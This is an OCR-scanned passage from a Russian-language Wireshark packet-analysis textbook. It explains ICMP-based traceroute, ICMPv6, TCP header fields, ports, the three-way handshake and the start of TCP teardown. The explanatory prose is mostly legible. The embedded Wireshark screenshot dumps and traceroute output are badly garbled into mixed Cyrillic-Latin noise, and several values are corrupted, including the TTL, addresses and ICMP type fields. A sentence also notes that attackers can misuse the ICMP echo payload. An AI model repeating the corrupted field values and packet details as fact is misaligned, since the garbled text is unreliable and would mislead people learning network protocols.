lе!QЩ!рЩШI Произволъный текст, употребляемый в эхо-запjюсе по протоколу ICMP, 
может представлятъ особый интерес для потеН?~иалъной атаки со ст()

роны злоумышленников. В 'Частности, злоумышленники могут воспол'!r 

зоватъся информацией в заполняемом поле ЭХ()-Запроса для определения 

типа операциоюtой системы, под управлением которой работает прове

ряемое устройство. Кроме того, злоумышленники могут помещатъ в это 

поле неболъшие фрагменты даниых для скрытой их переда'Чи по сети. 

Утилита traceroute 

Файл перехвата icmp_ Утилита traceroute служит для выявления пуги про· 
traceroute.pcapng хождения пакетов от одного устройства к другому. 

В простой сети этот путь может проходить через един· 

ственный маршрутизатор или вообще без него. А в сложной сети пакетам, воз· 

можно, придется пройти через десятки маршрутизаторов, чтобы достигнуть 

конечного получателя. Следовательно, для диагностики связи очень важно 

иметь возможность проследить конкретный путь, по которому пакеты прохо· 

дят от одного места назначения к другому. 

Используя протокол ICMP (и в незначительной степени протокол IP), ути
лита traceroute может отобразить путь прохождения пакетов. Например, 
первый пакет из файла перехвата icmp_traceroute.pcapng очень похож на 
эхо-запрос из предыдущего примера (рис. 7.32). 

В перехваченном трафике из данного примера пакеты были сформи

рованы по команде traceroute 4. 2. 2 .1. Чтобы воспользоваться утилитой 
traceroute в Windows, введите команду tracert iр-адрес в командной стро
ке, заменив iр-адрес на конкретный IР-адрес того устройства, пу~ъ прохож· 

дения пакетов к которому требуется выявить и проследить. А для того чтобы 

воспользоваться утилитой traceroute в Liнux или Мае OS Х, введите команду 
traceroute iр-адрес. 

На первый взгляд, этот пакет содержит простой эхо-запрос f) из хоста, 

находящегося по адресу 192 .168 .100 .138, к хосту, расположенному по адресу 
4. 2. 2 .1 О, и поэтому все содержимое той части данного пакета, которое от
носится к протоколу ICMP, выглядит таким же образом, как и при форматиро
вании пакета с эхо-запросом. Но если развернуть IР-заголовок данного пакета, 

то можно заметить, что в поле ТТL этого заголовка установлено значение 1 О. 
Это означает, что данный пакет будет аннулирован на первом же маршрутиза· 

торе, которого он достигнет. А поскольку IР-адрес получателя пакета 4. 2. 2 .1 
является межсетевым, то, как известно, между исходным и целевым устрой

ствами должен находиться хотя бы один маршрутизатор. Следовательно, дан

ный пакет никоим образом не сможет достигнуть места своего назначения. 



И это хорошо, поскольку утилита traceroute полагается на то, что данный 
пакет достигнет лишь первого маршрутизатора на своем пути прохождения . 

• Wimhark · Pac.lcd' 1 . icmp_traceroute: о 

> Fro•e 1: 106 bytes on wiгe (848 bits), 10б bytes coptuгed (848 Ьits) 
Etheгnet П, Sгс: Соmро1Со_Ь8:59:Ы (00:1б:d4:Ь8:59:Ы), Dst: Cisco!nc_4b:c0:7f (00:12:80:4b:c0:7f) 

v !nternet Pгotocol Version 4, Sгс: 192.168.100.138, Dst: 4.2.2.1 О 
8100 . . . . • Vers ion: 4 
. . . . 0101 • Header length: 20 bytes 

> Differentioted Services Field: 0х90 (DSCP: CS0, ECN: Not-ECТ) 

Total length: 92 
Identi ficotion: e><ffSl (б53Б1) 

Flogs: 0х00 
Frogмent offset: 0 

> тu.е to live: 1 8 
Pгotocol: IСМР ( 1) 
Нeoder checksu•: 0x8fla (validation disaЫed] 
Source: 192. lбВ .100 .138 
Destination: 4.2.2.1 
[ Source GeoIP: Unknown] 
[Destination GeoIP: Unknown] 

v Internet Control Мessage Protocol 
Туре: В (Echo (ping) request) С) 
Code: 0 
Checksum: 0xbaff [corгect] 
Identifier (8Е): 1280 (0х0500) 
Identifier (LE): 5 (0х0005) 
Sequence nu1RЬer (ВЕ): 14335 (0х3800) 
Sequence nu11ber (LE): Sб (0х9038) 

[No response seen] 
> Dato { б4 bytes) 

х 

No.: 1 • T-(J.J1()tJ(}()tJ • - 19<.168.100.118 • ~, 4.2.1.1 • l'rrюx:1k ICМ. dN 106 • l"'°' EdlCU>п!J)-•MIOSOO, SIN/•ff:JNi'~ al•I {по-~ 

Qose 

Рис. 7.32. Пакет с эхо-запросом по протоколу /СМР и значением 1, 
установленным в поле ТТL 

Второй пакет, как и предполагалось, содержит ответ от первого достигну

того маршрутизатора на пути прохождения к получателю (рис. 7.33). Первый 
пакет достиг устройства по адресу 192 .168 .100 .1, где значение в поле TTL его 
IР-заголовка было уменьшено до нуля, соответственно его нельзя передавать 

дальше. Поэтому маршрутизатор прислал пакет с ответом по протоколу ICMP. 
Этот пакет относится к типу 11 О, и ему присвоен код О 8, а это означает, что 
получатель недостижим, поскольку время жизни пакета было превышено при 

переходе через маршрутизатор. 

Такой пакет ICMP иногда еще называют пакетом с двумя заголовками, по
скольку в самом конце той его части, которая относится к протоколу ICMP, 
содержится копия IР-заголовка О и данные протокола ICMP 0, которые были 
отправлены в исходном эхо-запросе. Эти сведения могут принести немалую 

пользу при диагностике сетей. 
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• Wireshillrk · Pillcket 2 · 1cmp_traceroute о х 

> Fra""' 2: 70 b)'1:es оп wire (560 Ыts), 78 b)'1:es captured (560 Ыts) 
Ethernet II, Src: Ciscoinc_4b:c0:7f (00:12:80:4b:c0:7f), Dst: СО111ра1Со_Ь8:59:Ы (00:16:d4:Ь8:59:Ы) 

v Internet Protocol Version 4, 5rc: 192.168.100.1, Ost: 192.168.100.138 
0190 .... • Version: 4 
. . . . 8181 • Нeader Length: 28 b)'1:es 

> Differentiated Services field: ехсе (DSCP: CS6, ECN: flot-ECТ) 

Total Length: 56 
Identification: 8х491а (18714) 

> Flags: ех00 
Frag=nt offset: е 
Тine to live: 255 
Protocol: IСМР ( 1) 

> Header checksin: 8х280е [validation disaЫed] 
Source: 192.168.100.1 
Oestination: 192.168.100.138 
[Source GeoIP: Unknown] 
[Oestination GeoIP: Unknown] 

v Interriet Control Мessa е Protocol 
О Туре: 11 (Ti11e-to-live exceeded) 
@ code: 0 (ТШе to live exceeded in transit) 

Checks1JJ1: 9xf4ff [ correct] 
С) > Internet Protocol Ve~sion 4, Src: 192.168.100,138, Dst: 4,_2_.2_._1 _____ ·----~~-_, 
0 v Internet Control Нessage Protocol 

Туре: 8 (Echo (ping) request) 
Code: 0 
ChecksU11: llxbaff [in IСМР error packet] 
Identifier (ВЕ): 1280 (0х0500) 
Identifier (LE): 5 (0х0005) 
Sequence n1J111Ьer (ВЕ): 14336 (0х3800) 
Sequence number (LE): 56 (0х0038) 

Рис. 7.33. Пакет с ответом по протоколу /СМР от первого маршрутизатора 
на пути прохождения 

Описанный выше процесс отправки пакетов с минимальным значением 

в поле TTL их IР-заголовка происходит еще несколько раз, прежде чем будет 
получен пакет 7. И здесь наблюдается то же самое, что и в первом пакете, но 
на этот раз в поле ТТL соответствующего IР-заголовка установлено значение 

2, гарантирующее, что пакет достигнет маршрутизатора на втором переходе, 
прежде чем он будет аннулирован. Как и следовало ожидать, ответ будет полу

чен от маршрутизатора на следующем переходе по адресу 192 .168 .1.1 с теми 
же самыми сообщениями по протоколу ICMP о недостижимости получателя и 
превышении времени жизни пакета. 

Этот процесс с увеличением значения в поле TTL продолжается до тех 
пор, пока не будет достигнут получатель по адресу 4. 2. 2 .1. Но прежде чем 
это произойдет, истечет время ожидания запроса, как следует из строки 8 
результатов, выводимых утилитой traceroute на экран (рис. 7.34). Как же 
тогда данный процесс может завершиться успешно, если время ожидания 

запроса по пути его прохождения истечет? Как правило, это происходит в 

том случае, если маршрутизатор не отвечает на IСМР-запросы. Такой марш

рутизатор по-прежнему получает запрос и пересылает данные следующему 



маршрутизатору. Именно поэтому мы можем обнаружить следующий переход 

в строке 9, как показано на рис. 7.34. На данном переходе просто не был сфор
мирован пакет ICMP с сообщением о превышении времени жизни, как это 
имело место на других переходах. Если утилита traceroute не получает ответ 
через заданный интервал времени, она увеличивает на 1 значение в поле ТТL 
и просто переходит к следующему запросу. 

Таким образом, в ходе описанного выше процесса утилита traceroute свя
зывалась с каждым из маршрутизаторов, находящихся на пути прохождения 

пакетов, строя попутно карту маршрута к месту их назначения. Пример такой 

карты приведен на рис. 7.34. 

. . . . 
с: \>tracert 4. 2. 2 .1 

Tracin~ r-oute to a.resolvers.level3.n-et (4.2.2.1} 
over а ••xi•u• of 30 hops: 

1 ., <1 as <1 •s ItHERIORE2000 [172.16.16.1) 
1 es 1 ., 1 •s 192.168.1.1 
2 •s 2 ., 1 •s 192.16-8.0.1 

• 

• :s as 21 as 21 85 172-127-116- З. light speed. tukrga. sbcglobal. мt 
2.127.116.З} 

5 26 8S 26 as 24 85 76.201.208.162 
28 as 25 as 24 as 12.аЗ.82.181 

24 ., 2s •s 26 as 12.122.111.121 
Request t iae-d out. 

" 8S 
24 as 24 as а. resol •1ers. level З. net (4.2.2.1] 

(17 

Рис. 7.34. Пример результатов, выводимых но экран утилитой traceroute 

le!QЩllИ Приведенное здесъ описание утшиты traceroute относится в основном к 
Windows, посколъку в этой утилите применяется исключителъно протокол 

/СМР. А в Linиx утш~ите traceroute присуща несколъко болъшая универ
са.лъностъ. В частности, дм прослеживания пути, по кото-рому проходят 

пакеты, в этой утшtите могут применятъся и дjrугие сетевые протоколы, 

например UDP. 

Протокол ICMP версии 6 (ICMPv6) 
Обновленная версия протокола IP опирается в значительной степени на 

протокол ICMP для выполнения таких функций , как опрос соседа или обнару

жение пути прохождения пакетов , как демонстрировалось в рассмотренных 

ранее примерах. Протокол ICMPvб описан в документе RFC 4443 и предназна
чен для поддержки ряда возможностей, требующихся для нормального функ

ционирования протокола IPvб, наряду с дополнительными усовершенствова

ниями . В этой книге протокол ICMPvб не рассматривается отдельно потому, 

что в нем применяется такая же структура заголовка пакета, как и в пакетах 

ICMP. 



Как правило, пакеты ICMPvб разделяются на категории сообщений об 

ошибках или информационных сообщений. Полный перечень типов и ко

дов, доступных в протоколе ICMPvб, можно найти на веб-странице организа

ции IANA по адресу http://www. iana .org/assignments/icmpvб-parameters/ 
icmpvб-parameters. xhtml. 

В этой главе были представлены наиболее важные протоколы сетево

го уровня, которые вам предстоит исследовать в процессе анализа пакетов. 

В частности, протоколы ARP, IP и ICMP положены в основу всего обмена дан
ными по сети, и поэтому они играют решающую роль в решении задач, с ко

торыми вы столкнетесь в своей повседневной деятельности. В главе 8 будут 
рассмотрены наиболее употребительные протоколы транспортного уровня -
ТСР и UDP. 



ПРОТОКОЛЫ 

ТРАНСПОРТНОГО УРОВНЯ 

В этой главе мы продолжим рассмотрение отдельных 

протоколов и их проявление на уровне пакетов. Про

двигаясь вверх по модели OSI, мы рассмотрим транс
портный уровень и наиболее употребительные на этом 

уровне протоколы ТСР и UDP. 

Протокол управления передачей (ТСР) 
Конечная цель проm01Сола ТСР (Transmission Control Protocol - протокол 

управления передачей) - обеспечить надежную доставку данных из одной ко

нечной точки сети в другую. Как определено в стандарте RFC 793, протокол 
ТСР отвечает за отслеживание последовательностей данных и устранение 

ошибок и в конечном счете обеспечивает доставку данных по месту их на

значения. Протокол ТСР считается ориентированнъtм на установку соединения, 

поскольку он устанавливает формальное соединение, прежде чем передавать 

данные, отслеживает доставку пакетов и, как правило, пытается формально 

закрыть каналы связи по окончании передачи. Во многих из наиболее употре



Структура заголовка в пакете ТСР 

Протокол ТСР предоставляет самые разные функциональные возможно

сти, что и отражается в сложности его заголовка. Как показано на рис. 8.1, 
заголовок пакета этого протокола состоит из перечисленных ниже полей. 

Протокол управления передачей (ТСР) 

Смещение Октет о 1 2 3 

Октет Бит 0-3 1 4-7 8-15 16-23 24-31 

о о Порт отправителя Порт получателя 

4 32 Порядковый номер 

8 64 Номер подтверждения 

12 96 Смещение 1 Зареэервировано Флаги Размер окна 
данных 

16 128 Контрольная сумма Указатель срочности 

20+ 160+ Параметры 

Рис. В. 1. Структура заголовка в пакете ТСР 

• Порт отправителя (Source Port). Порт, используемый для передачи па
кета на машине отправителя. 

• Порт получателя (Destination Port). Порт, в который передается пакет 
на машине получателя. 

• Порядковый номер (Sequence Number). Номер, предназначенный для 

идентификации сегмента протокола ТСР. Значение, устанавливаемое в 

этом поле, служит гарантией, что ни одна из частей потока данных не 

будет потеряна при передаче. 

• Номер подтверждения (Acknowledgment Number). Порядковый номер, 

который ожидается получить в следующем пакете от другого устрой

ства, принимающего участие в обмене данными по сети. 

• Флаги (Flags ). В этом поле устанавливаются флаги URG, АСК, PSH, RST, SYN 
и FIN для идентификации типа передаваемого пакета ТСР. 

• Размер окна (Window Size ). Размер буфера приема пакетов ТСР, указыва
емый в байтах. 

• Контрольная сумма (Checksum). Служит для гарантии неизменности 

ТСР-заголовка и данных, когда они поступят к получателю. 

• Указатель срочности (Urgent Pointer). Если установлен флаг URG, то со
держимое этого поля проверяется на наличие дополнительных инструк

ций относительно того места, с которого ЦП должен начинать чтение 

данных в пакете. 



• Параметры (Options). В этом поле находятся дополнительные параме
тры, которые могут быть указаны в пакете ТСР. 

ПортыТСР 

Файл перехвата 

tcp _JЮrts . pcapng 

Весь обмен данными по протоколу ТСР происходит меж

ду портами отправителя и получателя, номера которых 

можно обнаружить в каждом ТСР-заголовке. Порт можно 

сравнить с гнездом на старой телефонной коммутационной панели (коммута

торе). Оператор телефонной станции (или телефонистка) постоянно контро

лировала индикаторы и штепсельные разъемы на этой панели. И как только 

загорался индикатор вызова, телефонистка связывалась с вызывающим або-

нентом, спрашивала, с кем он желает поговорить, а затем подключала его к 

другому абоненту, вставив кабель со штепсельным разъемом в соответствую

щее гнездо коммутатора. Для установки сеанса связи требовалось наличие 

порта отправителя (т.е. вызывающего абонента) и порта получателя (т.е. при

нимающего вызов абонента). Аналогичным образом действуют и порты про

токола ТСР. 

Чтобы передать данные конкретному приложению, запущенному на уда

ленном сервере или устройстве, в пакете ТСР должен быть указан известный 

номер порта удаленной службы, где этот пакет может быть принят. Если же 

попытаться получить доступ к приложению на удаленной машине через дру

гой порт, на который оно не настроено, то обмен данными не состоится. 

Порт отправителя в данной последовательности не столь важен и может 

быть выбран произвольно. Удаленный сервер определит номер порта, с кото

рым устанавливается связь, из отправленного ему исходного пакета (рис. 8.2). 

-- Портоmравитеnн 1024 /Порт поnучателн ВО----+-~ 
~ПортотправитемВО/Портпоnучатем1024-- 'V 1 ·1 

Веб-сервер, 
принима111щий пакеты 

чере3 порт ВО 

-- Порт отправителя 3221 /Порт получателя 25----+-~ 
~Порт оmравмтем 25 /Порт получателя 3221 -- [ 0 1 

\:=::~:::::::........:::::.... 
Почтовый сервер, 

принима111щиii пакеты 
через порт 2S 

Рис. 8.2. Дпя передачи данных в протоколе ТСР применяются порты 

211 



Для обмена данными по протоколу ТСР имеется 65535 портов. Все они, как 
правило, разделяются на следующие категории. 

• Группа системных портов. Это группа хорошо известных портов, 

иначе называемых стандартными (или постоянными) с номерами от 1 
до 1023, где номер О зарезервирован и поэтому игнорируется. В хорошо 
известных и вполне упрочившихся службах обычно применяются пор

ты, относящиеся к группе системных портов. 

• Группа временных портов. Это группа портов с номерами в пределах 

от 1024 до 65535, хотя в некоторых операционных системах эти преде
лы могут определяться иначе. Через порт данной категории одновре

менно может связываться только одна служба, и поэтому в современных 

операционных системах порты отправителя выбираются произвольно, 

чтобы отличать один сеанс связи от другого. Как правило, порты отпра

вителя выбираются из доступного диапазона временных (т.е. динамиче

ски назначаемых) номеров портов. 

Рассмотрим в качестве примера пару пакетов ТСР из файла перехвата tcp _ 
ports .pcapng, чтобы выявить испольауемые в них номера портов. В этом фай
ле содержится сетевой трафик НТТР, перехваченный при просмотре клиен

том двух веб-сайтов. Как упоминалось ранее, для обмена данными в протоколе 

НТТР применяется протокол ТСР, что служит характерным примером трафи

ка ТСР. 

Два первых значения в заголовке первого пакета из данного файла 

(рис. 8.3) обозначают порт отправителя и получателя этого пакета. В частно
сти, этот пакет посылается из хоста, находящегося по адресу 172 .16 .16 .128, 
хосту, расположенному по адресу 212. 58. 226 .142. Порт отправителя имеет 
номер 2826 О, т.е. это временный порт. (Напомним, что порты отправителя 
выбираются операционной системой произвольно, хотя их случайно выбран

ные номера как правило увеличиваются.) А порт получателя имеет номер 80 
8, т.е. это стандартный системный порт, назначаемый для веб-серверов, рабо
тающих по протоколу НТТР. 

Обратите внимание на то, что в Wireshark уrюмянуrыс выше порты обозна
чены метками slc-systemlog (2826) и http (80). В приложении Wireshark ве
дется список портов и мест их наиболее частого употребления. И хотя систем

ные порты обозначаются в основном как наиболее употребительные, многие 

временные порты связаны с часто употребляемыми службами. Такое обозна

чение портов специальными метками может ввести в заблуждение, и поэтому 

его, как правило, лучше отменить, отключив преобразование имен на транс

портном уровне. С этой целью выберите команду EditQPreferencesQName Resolu

tion из главного меню и сбросьте флажок Resolve Transport Names (Преобразовать 



транспортные имена) . Если вы хотите оставить этот флажок установленным, 

но желаете изменить порядок обозначения определенного порта в Wireshark, 
для этого вам придется внести соответствующие изменения в файл services, 
находящийся в системном каталоге Wireshark. Содержимое этого файла ос
новывается на списке общеупотребительных портов (пример редактирова

ния файла, предназначенного для преобразования имен, приведен в разделе 

"Применение специального файла hosts" главы 5, "Дополнительные возмож
ности Wiresl1ark") . 

• Wireshмt · Pкlcd 1 · tcp_ports 

---- --------) fl"'a~ 1: 66 Ьytes on wire (528 bits). 66 Ьytes c1ptured (528 Ьits) 
Ethernet П" Src: Inte1Cor_Sb:7d:4a (e6:11:61:Sb:7d:41)" Ost: D-tini(_21:99:4c (te:e5:5d:21:99;4c) 
Intemet Prctocol Veгsion 4" Src: 172.16.16.128. Ost: 211.58.226.14.2 

• k t 
Source Port: slc-systew.lo& (2826) 
~stiлвtion Рогt : http (88) 8 
{Streц index: t] 
(l"CP ~gмnt len: 8] 
~~се ш..ьеl"': 3691127924 
Acknowledpent n~r: е 
Неаdе:г Length: 32 bytes 

Winckм sia v111lue: 8192 
[Calculat~ window siz:e: 8192] 
Checks18: Etxcfeb [validetion disaЫrd] 
Urgl!nt pointer: 8 

о х 

l 

Options: (12 bytes), ~х1- se~nt size, No -Oper11tion ( NOP ) , Window sc1le, No-Ope r-etion (МОР ) , No -Op•r•tlon {NOP), SACK ptt,...itted 

Ntl. t J r-AlIOlllAI ·~ J7Lll.-U.IZI ·~ lU.Sl.151.fl • ~ n::P • /Jtfrx~ -•['SYNjs.;.JffJl»JJ.I H.-111Jиn-D/llSS.JШ WS..fSAGi(.PEIVJ•I 

c:o;:J !'"\> 

Рис. 8.3. В заголовке протокола ТСР указываются порты отправителя и получателя 

Второй пакет посылается в обратном направлении из хоста, находящего

ся по адресу 212. 58. 226 .142, хосту, расположенному по адресу 172 .16 .16 . 128 

(рис. 8.4). Как и IР-адреса, порты отправителя и нолучателя теперь меняются 
местами О. 

~ Wrmharlr: · Ркkи 2 · tcp_potts 

) fra. 1: 66 Ьytes on wi;';{s28'Ьit7}:--ы Ьytes c•ptuгed (528-Ыts) 
fthernt1t II~ Src: O·li.nk_11:M:4c (N:8S:Sd:21~99:4c), Ost: IntelCor _~b:7d:A.a (M:21: 6a:Sb:7d:4•) 

.., Interмt Pratoco] Version "4. St'c: 112.S8.U6.142" Dst: 172.16.16.1Z8 

·:~~~=.~::~ : 2826 

(Stгем index: 8] 
(ТСР ~s-:nt l en : 8] 
~qul!nce nu.Ьt!г: е (гel1tive s~uence nu•Mr) 
Ackrюwledpl'nt nU11Ьel": 1 (гel•tive eclc n~r) 

Нe.drr Len h: 32 Ь es 

Window size v•lue: S848 
[C•lcul•ted window size : 583] 
ChecksU8: lх9к8 [v•lidation dls•Ьl~J 
Ur1ent pointer: е 

о 

Opt1ons: (12 byUs), ftъxiaя sepent site, No · Operatlon { НОР). No·Oper at1on ( NOfl), SACK pe,..1tted, No·Ope r otion (NOP )J windOtl sc.le 
[SEQ/ ACK analysls] 

No.;J П--AUNZ; · .S..-1LlJ&JJJl..J.CZ · ~J71-tl.-.,UI Pl'Dod~ ·~ll · /,..;.."_NМj$YN,ACX} SN•l,ld:•t~SМ!.-DМ:SS.JJ(Jfs,lCJC.~llf'.S"•Ш 

~""' 

х 

Рис. 8.4. При передаче данных в обратном направлении номера портов отправи
теля и получателя меняются местами 
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Как правило, обмен данными по протоколу ТСР происходит следующим 

образом: номер порта отправителя произвольно выбирается для передачи 

данных получателю по известному порту. И как только будет отправлен пер

воначальный пакет, удаленное принимающее устройство свяжется с передаю

щим устройством через установленные порты. 

Файл перехвата из рассматриваемого здесь примера содержит еще один 

поток обмена данными. Попробуйте сами определить номера портов, выбира

емых в этом случае для обмена данными. 

l1!pЩ!pфiiiil По мере дал:ьнейшего чтения этой книги вьt узно,ете еще больше о пojr 

тах, связанных с общеупотребительными протоколами и с.лужбами. 

И в конечном итоге вы научитесь определять с.лужбы и устройства по 

используемым в них партам. Полный перечень общеупотребительных 

портов можно найти в упоминавшемся выше файле services, распало
женном в системном каталоге Wireshark. 

Трехзтапнь1й процесс установки связи по протоколу ТСР 

Файл перехвата tcp _ 
handshake.pcapng 

Весь обмен данными по протоколу ТСР должен начи

наться с установки связи между двумя хостами. Такой про

цесс служит нескольким целям, включая следующие. 

• Передающий хост может убедиться, что принимающий хост готов к об

мену данными. 

• Передающий хост может проверить, что принимающий хост готов при

нимать данные через тот порт, через который передающий хост пытает

ся установить связь. 

• Передающий хост может послать свой начальный порядковый номер 

принимающему хосту, чтобы оба хоста могли поддерживать заданный 

rюрядок следования пакетов в потоке. 

Процесс установки связи по протоколу ТСР происходит в три этапа, как по

казано на рис. 8.5. На первом этапе устройство, которому требуется передать 
данные (хост А), посьwает пакет ТСР получателю (хосту Б). В этом первона

чальном пакете не содержится ничего, кроме заголовков пакетов протоколов 

более низкого уровня. В ТСР-заголовке данного пакета установлен флаг SYN, 

а также указан первоначальный порядковый номер и максимальный размер 

сегмента (MSS), употребляемый в процессе по<:ледующего обмена данными. 

Хост Б отвечает на этот пакет, посьwая аналогичный пакет с установленны

ми флагами SYN и АСК и своим первоначальным порядковым номером. И, на

конец, хост А посьтает еще один, последний пакет хосту Б с установленным 



флагом АСК. Как только этот процесс завершится, оба хоста должны иметь в 

своем распоряжении все сведения, необходимые для того, чтобы начать об

мен данными надлежащим образом. 

1 > SYN 

D < D SYN/ACK 
1 

> АСК 

XocrA ХосrБ 

Рис. 8.5. Трехэтапная установка связи по протоколу ТСР 

l1!QIИIPЩll!i Зачастую пакетъt ТСР обозначаются по тем флагам, котаръ~е установ

лены в их заголов'Ках. Например, пакет ТСР с установленнъtм флагом 

SYN можно для краткости обозначитъ как пакет SYN. Таким образом, 

пакеты, исполъзуемые в процессе установ'Ки связи по протоколу ТСР, мо

гут бытъ обозначены как SYN, SYN/ACK и АСК соответственно. 

Чтобы понаблюдать рассматриваемый здесь процесс в действии, открой

те файл перехвата tcp _ handshake. pcapng. Для упрощения анализа пакетов в 
Wiresl1ark имеется режим замены последовательных номеров пакетов ТСР от
носительными номерами. Но для целей данного примера действие этого ре

жима лучше отменить, чтобы наблюдать порядковые номера пакетов. С этой 

целью выберите команду EditqPreferences из главного меню, разверните заго

ловок Protocols, выберите вариант ТСР, сбросьте флажок Relative Sequence Num
bers (Относительные порядковые номера) в открывшемся окне и щелкните на 

кнопке ОК. 

Первый пакет в этом перехваченном трафике является первоначально по

сылаемым пакетом SYN 8 (рис. 8.6). Этот пакет передается из хоста, находя
щегося по адресу 172 .16 .16 .128, через порт 2826 хосту, принимающему пере
данный пакет по адресу 212. 58. 226 .142 через порт 80. Как видите, в данном 
пакете передается порядковый номер 3691127924 О. 

Вторым в процессе подтверждения связи является пакет SYN / АСК с отве
том 8 от хоста, находящегося по адресу 212. 58. 226 .142 (рис. 8. 7). Этот пакет 
также содержит первоначальный порядковый номер (233779340) О данного 
хоста и номер подтверждения (3691127925) 8. Показанный здесь номер под
тверждения на единицу больше порядкового номера из предыдущего пакета, 

поскольку в данном поле указывается следующий порядковый номер, кото

рый ожидает получить хост. 



о х 

> Etheгnet II, Src: Inte1Cor_Sb:7d:4a (86:21:6a:Sb:7d:4a), Dst: O·L1nk_21:99,4c (N.&S:Sd:21:99:4c) 
r Inteгnet Protocol Version 4, Sгс: ln.16 . 16.128, l)st; 212,58.226.14.2 ~ 

F;.;; 1: 66 bytes on w.i.re (53bits), 66 bytes c•ptured (528 Ыts) - -- -

v • ·~~i:.."iliiшм..~-============1 
Souгce Рогt: 2826 
Df'stination Port: 88 
[Stгe• index: 8} 
(ТСР ~pent len: 8) 
~quence n~r: 3691127924 О 
Acknowledpent пu.Ьег: 8 
IW'•der len h: 32 

еее ......... • Aeserved: Ноt set 
, •. 8 • , .•.... " Nonce: No't set 

•. , . 8 ...•••. • Consestion Window Reduced {CWR): f.Юt set 
.е .•••.• • ECH·Echo: Not set 
.. е .•... • Urgent: Not set 
•.. е .... • A.cknow1ed~nt: Моt set 

.. , . " .. е ... • Push: Not set 

....... е " Fin: tюt set 
(ТСР Fl•вs: ··········s•] 

Window size value: 8192 
(CJ1lculated window size: 8192] 
ChecksU11: excft!b [validation dlsaЫIO] 
Urcent: pointer: е 

) Options: (12 bytes), М.х1Аu8 se~nt si:e, Мo·Operation (t.OP), Window sca)e, No-Qperation (NOP), No·Oper•tion (НОР), SACK per.ittIO 

~ 1 • ,_......., .50.mlt/1US.1'-Ц6- ~ШJ&J,lf.JЧ ~ ТCP • Levt/lf ff ·Jll'Ьr111М-llD{SYN}!i«;.JliturJ'Jl4~J1t..~NSS-;<1111~SAOi...'8N•l 

~ ""' 

Рис. 8.6. Первоначально посылаемый пакет SYN 

Ethernet II" Src: D·tink_21:99:4c (i8:85:Sd:21:99:4c), Dst: Inte1Cor _Sb:7d:4a (M:21:6a:Sb:7d:41) 

х nfra.e 2: 66 Ьytes on ~(51.в bits), 66 Ьytes captu~d {Sz8 Ь1ts) - -

Internet Protocol Version 4, Src: 212.58.2.26.142, Ost: 172.16.16.128 ·",!W:ШШ:J;iiii::i:=======~ 
"Т"r r Р r r • • t~. JI 1'1 

Source Port: 88 
Destin1tion Port: 2826 
[Stre• inde-x: 9] 
[ ТСР 5e:pent Len: е] 
Sequen(e nl.8Ьer: 233779348 О 
Acknowledpent nUllЬer: 3691127925 8 

С) .., ~ader len th: 32 bytes 

&ее. • . . • • . , • • Reseгved: Not set 
... е ........ • Nonce: Not set 
•.•• е •.•••.• • consestion Window ReducIO (CWR): Not set 
..... е ...... • ECN-Echo: Nat set 

.. 8 ..... • Ursent: Моt set: 
•.. 1 .... • ~knowledsнnt: Set 
.... е." • Push: Ноt set 
.. . •. е .. • Reset: tЬt set 

. . . . . .. 8 • Fin: Not set 
{ТСР Flags: ·······A··s•] 

Window si=.e: v1lue: 5848 
[C1lculat~ window size : 5848] 
ChecksU8: Endace [valid•tion dis1Ыed] 
Ur1ent pointer: е 
Options: (12 bytes), "-'•1*8 sepent si:ze, No-Opeгatioo (NOP). No-Ope:r•tion (ЮР). SACK pentitt@d, NCl-Op@r1tion (NOP). WindolJf sc•le 1 

> [SEQIACK eмl.ysis] _J 

Рис. 8.7. Ответный пакет SYN/ АСК 

И последним в процессе трехэтапной установки связи по протоколу 

ТСР является пакет АСК 8, посылаемый из хоста, находящегося по адре
су 172 .16 .16 .128 (рис. 8.8). Как и следовало ожидать, этот пакет содержит 



порядковый номер 3691127925 О, определяемый на основании номера под
тверждения в соответствующем поле предыдущего пакета . 

• Wirбharlc. Packet 3 · tcp_handshllke 

> fr411e 3: 54 bytes on wire (432 b.its), 54 bytes captured (432 Ыts) 
) ftheгnet II, Src: Inte1Cor_Sb:7d:4a (88:21:6в:Sb:7d:4i!)" Ost: 0-Unk_21:99:4c (86:0S:5d:21:99:4c) 

> Internet Protocol Version 4 1 Sгс: 172.16.16.128, Dst: 2U.S8.2.l.б.1'42 

о х 

v Transaission Control Protocol, Src Port: 2826 (2826) 1 Ort Port: 80 (88), Seq: 369112792.S, Ack:: 233779341, ten: 8 
Source Рогt: 2826 

Oestination Port: 80 
[Strea11 index: 8) 
(ТСР S•g>1М'nt l•n: 0) 

Sequence nuмЬer: 3691127925 О 
Acknowledg.ent nUllЬeг: 233779341 
Неаdег length: 20 bytes 

" Flags: 0хе1е (АСК) 
000. . . . . . . . . = Reserved: Not set 
... е ........ • Nonce: Моt set 
.. . . 8... . ... • Congestion Window Reduced (CWR): Not set 

.0 ...... • EOl· Echo: Not set 

.. 0 . . ... • Urge:nt: Not set 

.. . 1 .... • Acknowl•dgnont : s.t @ 

.... е ... • Push : Not set 
.е . . • Rese:t: Not set 

. .. ... е. • Syn: Not se:t 

.. . .. .. е "' Fin: Not set 
[ТСР Flags: •••••••д••••] 

Window size value: 4218 
[Calculвted window size: 16872] 
[Window size scaling factor : 4] 

) Cht!!tksu11: 0и1Ы [validation disaЫed] 
Urgent pointer : 6 

> [SEQ/ACK anolysis] 

№,! } ' Titм; ().JJlJJ8 ·~171.J&.16,JM ·~ 111.S&ZЖHJ •Ptr:tt«r:r. ТСР ·~ $4 • 1*}826-8t1/Aat}~JNSAdt:EJ779NJ Wh-:JliD1~0 

а... 1 г...., 

Рис. В.В. Последний пакет АСК 

Установка связи происходит перед каждой последовательностью обмена 

данными по протоколу ТСР. Если вы сортируете крупный файл перехвата в 

поисках начала последовательности обмена данными, то явным его призна

ком служит последовательность пакетов SYN-SYN/ACK-ACК. 

Разрыв связи по протоколу ТСР 

Файл перехвата tcp _ 
teardown.pcapng 

Большинство приветствий в конечном итоге завершает

ся прощанием, а в протоколе ТСР каждый сеанс уста-

новки связи - разрывом. В частности, р(},Зръtв связи по 

проmQ'Колу ТСР служит для корректного завершения сеанса связи, установлен

ного между двумя устройствами, после того, как они завершат обмен данны

ми. Этот процесс включает в себя четыре пакета и установку флага FIN для 
обозначения конца связи и разрыва соединения. 

В последовательности разрыва связи хост А сообщает об окончании обме

на данными посылкой пакета ТСР с установленными флагами FIN и АСК. На это 

хост Б отвечает пакетом АСК и передает свой пакет FIN/ACК. В свою очередь, 
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хост А отвечает пакетом АСК, :~авершая обмен данными. Этот нроцесс нагляд

но показан на рис. 8.9. 

~----"'---, = 

D 
......... " 
----·-----

ХостА 

